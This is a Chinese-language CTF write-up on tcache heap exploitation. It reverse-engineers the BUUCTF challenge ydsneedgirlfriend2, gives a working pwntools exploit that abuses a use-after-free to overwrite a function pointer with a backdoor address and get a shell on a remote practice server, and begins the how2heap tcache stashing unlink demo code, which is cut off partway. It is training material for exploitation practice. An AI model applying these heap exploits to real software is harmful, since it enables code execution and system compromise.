tcache_UAF

tcache_attack就直接放在一起写

tcache_UAF_level_1

题目来源：BUUCTF在线评测，[BJDCTF 2nd]ydsneedgirlfriend2

tcache_UAF_level_1_分析1

先check一下题目附件，发现没有开启pie保护。

然后对该附件进行逆向分析，使用IDA pro将该附件反编译，得到如下结果
- 函数的具体执行流程就是先输出菜单，然后要求用户输入选项（输入字符形式的1、2、3、4）
- 然后atoi就会将用户输入的字符形式的数字，转换为整型（这个过程就是然用户选择）
- 选择1执行add操作，选择2执行dele，选择3执行show，选择4执行exit

之后就先查看add()函数执行的操作
- 先检查申请堆块的个数有没超过7个，没操作7个就会先申请一个0x10大小的堆块,该堆块后0x8字节存放打印函数的地址
- 之后申请用户指定的堆块,将该堆块地址，存入之前申请堆块的前0x8字节中
- 再向用户可以指定申请的堆块输入内容。
- 最后count自增

这边有两个全局变量count（整型的全局变量），girlfriends（指针类型的全局变量），准确来说是一个指针数组的全局变量有7个元素girlfriends[7]

所以整个堆块的结构就如下：

接下来查看dele
- 大致逻辑就是，释放用户指定索引的堆块并且存在uaf漏洞

查看show函数
- 利用函数指针的形式调用自定义函数，输出girlfriend_name堆块的内容

还发现有一个后门函数，可以直接getshell

tcache_UAF_level_1_分析2

这题的基本思路就是通过UAF漏洞，将0x10的那个堆块，申请到用来写入name的堆块，然后我们修改print_girlfriend_name的地址为backdoor的地址，之后再通过show调用print_girlfriend_name的地址，实际上我们去调用的是backdoor。
通过动态调试发现，只有girlfriend[0]这个可以输出内容和释放堆块。

所以我们一开始要申请一个size位不是0x20的堆块，再释放这两个堆块，此时girlfriend[0]没有置0，就会导致uaf。

当我们再次申请一个堆块的时候就会发现，add的这一步不会再执行一遍。

所以当我们再次申请一个size为0x20大小的堆块，就会将girlfriend[0]所指向的堆块申请回来，我们这时就可以对该堆块进行修改。直接将该堆块修改为backdoor函数的地址，再调用show函数就可以getshell

tcache_UAF_level_1_exp

exp如下：

from pwn import *
context(log_level='debug')
p = remote('node5.buuoj.cn',26182)
#p = process('./ydsneedgirlfriend2')
#gdb.attach(p)
def add(length,name):
    p.sendlineafter(b'u choice :\n',b'1')
    p.sendlineafter(b'of her name:\n',str(length).encode('utf-8'))
    p.sendlineafter(b'me her name:',name)

def dele(index):
    p.sendlineafter(b'u choice :\n',b'2')
    p.sendlineafter(b'Index :',str(index).encode('utf-8'))

def show(index):
    p.sendlineafter(b'u choice :\n',b'3')
    p.sendlineafter(b'Index :',str(index).encode('utf-8'))

add(100,b'aaaa')
pause()
dele(0)
add(0x10,p64(0x6020A0+0x30)+p64(0x400D86))
show(0)
p.interactive()

总结

练习

tcache_house_of_spirit

这个的实验就不介绍了，在之前已经介绍过该实验了
直接寻找对应的练习题。

tcache_stashing_unlink_attack

实验

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
    printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
    printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
    printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
    printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

    // stack_var emulate the fake_chunk we want to alloc to
    printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
    printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
    printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
    printf("Now we alloc 9 chunks with malloc.\n\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 chunks into tcache
    printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");